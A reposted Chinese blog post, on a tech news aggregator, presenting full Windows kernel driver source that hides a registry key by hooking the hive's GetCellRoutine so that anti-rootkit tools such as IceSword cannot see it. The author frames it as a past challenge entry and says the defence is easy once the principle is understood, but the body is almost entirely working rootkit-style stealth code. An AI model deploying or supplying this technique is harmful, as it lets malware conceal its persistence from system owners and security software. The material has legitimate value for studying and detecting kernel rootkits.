一段隐藏注册表项的代码
以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。
原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。
#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )
#define CM_KEY_INDEX_ROOT 0x6972 // ir
#define CM_KEY_INDEX_LEAF 0x696c // il
#define CM_KEY_FAST_LEAF 0x666c // fl
#define CM_KEY_HASH_LEAF 0x686c // hl
// 一些CM的数据结构,只列出用到的开头部分
#pragma pack( 1 )
typedef struct _CM_KEY_NODE {
USHORT Signature;
USHORT Flags;
LARGE_INTEGER LastWriteTime;
ULONG Spare; // used to be TitleIndex
HANDLE Parent;
ULONG SubKeyCounts[ 2 ]; // Stable and Volatile
HANDLE SubKeyLists[ 2 ]; // Stable and Volatile
// ...
} CM_KEY_NODE, * PCM_KEY_NODE;
typedef struct _CM_KEY_INDEX {
USHORT Signature;
USHORT Count;
HANDLE List[ 1 ];
} CM_KEY_INDEX, * PCM_KEY_INDEX;
typedef struct _CM_KEY_BODY {
ULONG Type; // "ky02"
PVOID KeyControlBlock;
PVOID NotifyBlock;
PEPROCESS Process; // the owner process
LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, * PCM_KEY_BODY;
typedef PVOID (__stdcall * PGET_CELL_ROUTINE)(PVOID, HANDLE);
typedef struct _HHIVE {
ULONG Signature;
PGET_CELL_ROUTINE GetCellRoutine;
// ...
} HHIVE, * PHHIVE;
#pragma pack()
// 需隐藏的主键名
WCHAR g_HideKeyName[] = L " //Registry//Machine//SYSTEM//CurrentControlSet//Services//Beep " ;
PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
PGET_CELL_ROUTINE * g_ppGetCellRoutine = NULL;
PCM_KEY_NODE g_HideNode = NULL;
PCM_KEY_NODE g_LastNode = NULL;
// 打开指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
NTSTATUS status;
UNICODE_STRING uKeyName;
OBJECT_ATTRIBUTES oa;
HANDLE hKey;
RtlInitUnicodeString( & uKeyName, pwcsKeyName);
InitializeObjectAttributes( & oa, & uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
status = ZwOpenKey( & hKey, KEY_READ, & oa);
if ( ! NT_SUCCESS(status))
{
DbgPrint( " ZwOpenKey Failed: %lx/n " , status);
return NULL;
}
return hKey;
}
// 获取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
NTSTATUS status;
PCM_KEY_BODY KeyBody;
PVOID KCB;
if (hKey == NULL) return NULL;
// 由Key句柄获取对象体
status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, & KeyBody, NULL);
if ( ! NT_SUCCESS(status))
{
DbgPrint( " ObReferenceObjectByHandle Failed: %lx/n " , status);
return NULL;
}
// 对象体中含有KeyControlBlock
KCB = KeyBody -> KeyControlBlock;
DbgPrint( " KeyControlBlock = %lx/n " , KCB);
ObDereferenceObject(KeyBody);
return KCB;
}
// 获取父键的最后一个子键的节点
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
// 获取父键的节点
PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node -> Parent);
// 获取子键的索引
PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode -> SubKeyLists[ 0 ]);
DbgPrint( " ParentNode = %lx/nIndex = %lx/n " , ParentNode, Index);
// 如果为根(二级)索引,获取最后一个索引
if (Index -> Signature == CM_KEY_INDEX_ROOT)
{
Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index -> List[Index -> Count - 1 ]);
DbgPrint( " Index = %lx/n " , Index);
}
if (Index -> Signature == CM_KEY_FAST_LEAF || Index -> Signature == CM_KEY_HASH_LEAF)
{
// 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
return g_pGetCellRoutine(Hive, Index -> List[ 2 * (Index -> Count - 1 )]);
}
else
{
// 一般叶索引,返回最后的节点
return g_pGetCellRoutine(Hive, Index -> List[Index -> Count - 1 ]);
}
}
// GetCell例程的钩子函数
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
// 调用原函数
PVOID pRet = g_pGetCellRoutine(Hive, Cell);
if (pRet)
{
// 返回的是需要隐藏的节点
if (pRet == g_HideNode)
{
DbgPrint( " GetCellRoutine(%lx, %08lx) = %lx/n " , Hive, Cell, pRet);
// 查询、保存并返回其父键的最后一个子键的节点
pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
DbgPrint( " g_LastNode = %lx/n " , g_LastNode);
// 隐藏的正是最后一个节点,返回空值
if (pRet == g_HideNode) pRet = NULL;
}
// 返回的是先前保存的最后一个节点
else if (pRet == g_LastNode)
{
DbgPrint( " GetCellRoutine(%lx, %08lx) = %lx/n " , Hive, Cell, pRet);
// 清空保存值,并返回空值
pRet = g_LastNode = NULL;
}
}
return pRet;
}
NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
DbgPrint( " DriverUnload()/n " );
// 解除挂钩
if (g_ppGetCellRoutine) * g_ppGetCellRoutine = g_pGetCellRoutine;
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
ULONG BuildNumber;
ULONG KeyHiveOffset; // KeyControlBlock->KeyHive
ULONG KeyCellOffset; // KeyControlBlock->KeyCell
HANDLE hKey;
PVOID KCB, Hive;
DbgPrint( " DriverEntry()/n " );
pDrvObj -> DriverUnload = DriverUnload;
// 查询BuildNumber
if (PsGetVersion(NULL, NULL, & BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
DbgPrint( " BuildNumber = %d/n " , BuildNumber);
// KeyControlBlock结构各版本略有不同
// Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以
switch (BuildNumber)
{
case 2195 : // Win2000
KeyHiveOffset = 0xc ;
KeyCellOffset = 0x10 ;
break ;
case 2600 : // WinXP
case 3790 : // Win2003
KeyHiveOffset = 0x10 ;
KeyCellOffset = 0x14 ;
break ;
default :
return STATUS_NOT_SUPPORTED;
}
// 打开需隐藏的键
hKey = OpenKeyByName(g_HideKeyName);
// 获取该键的KeyControlBlock
KCB = GetKeyControlBlock(hKey);
if (KCB)
{
// 由KCB得到Hive
PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
// GetCellRoutine在KCB中,保存原地址
g_ppGetCellRoutine = & Hive -> GetCellRoutine;
g_pGetCellRoutine = Hive -> GetCellRoutine;
DbgPrint( " GetCellRoutine = %lx/n " , g_pGetCellRoutine);
// 获取需隐藏的节点并保存
g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
// 挂钩GetCell例程
Hive -> GetCellRoutine = MyGetCellRoutine;
}
ZwClose(hKey);
return STATUS_SUCCESS;
}
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
架构设计文档提纲简描
提纲很简单的: 一、概述 二、目的 三、项目背景 四、系统建设目标 五、参考资料 六、架构设计 6.1 架构分析 6.2 设计思想 6.3 架构体系 6.4 系统视图 6.5 模块划分 6.5.1 模块描述 6.5.2 模块接口
- 下一篇
Java工具集介绍2008年第三期
[align=center][b]Java工具集介绍2008年第三期[/b][/align] 1、JNIEasy 新版本:1.2 JNIEasy,Java本地对象(Java Native Objects,JNO)解决方案,可完全替代JNI来整合基于Java和C/C++的库和DLLs。 新版本支持Mac OS X10.4(Tiger)及更高,另外还支持主流的Windows和Linux。 2、Apache Lucene 新版本:2.3.0 Apache Lucene是一个用Java写作的高性能的、完整特征的文本搜索引擎库。它适合几乎所有需要全文本搜索的应用程序,尤其是交叉平台。 3、Apache Hadoop Now TLP Apache Hadoop是一个软件平台,使写和运行能处理大量数据的应用程序更容易,它是在Apache Lucene项目下开发的。 4、Shale的NetBeans插件 此插件允许可视化编辑Shale的Dialog的配置文件。至于Shale的Dialog包倒不是必须的,只是作为插件简单的产生Shale配置文件。 5、JWhoisServer 新版本:0.1.1.1 J...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- CentOS关闭SELinux安全模块
- SpringBoot2初体验,简单认识spring boot2并且搭建基础工程
- SpringBoot2整合Redis,开启缓存,提高访问速度
- MySQL8.0.19开启GTID主从同步CentOS8
- Hadoop3单机部署,实现最简伪集群
- 设置Eclipse缩进为4个空格,增强代码规范
- CentOS7,CentOS8安装Elasticsearch6.8.6
- Linux系统CentOS6、CentOS7手动修改IP地址
- CentOS6,7,8上安装Nginx,支持https2.0的开启
- Windows10,CentOS7,CentOS8安装MongoDB4.0.16